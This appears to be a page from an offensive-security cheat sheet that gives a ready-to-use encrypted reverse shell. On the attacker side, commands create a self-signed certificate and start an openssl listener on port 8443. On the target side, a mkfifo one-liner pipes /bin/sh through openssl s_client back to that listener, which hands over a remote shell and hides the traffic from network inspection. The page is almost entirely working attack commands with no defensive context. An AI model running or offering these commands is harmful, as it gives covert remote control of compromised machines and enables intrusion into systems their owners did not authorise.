> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/shells/openssl-encrypted-shell.md).

# OpenSSL Encrypted Shell

### Attacker Machine

```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 
openssl s_server -quiet -key key.pem -cert cert.pem -port 8443
```

### Target Machine

```
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.50.180:8443 > /tmp/s; rm /tmp/s
```
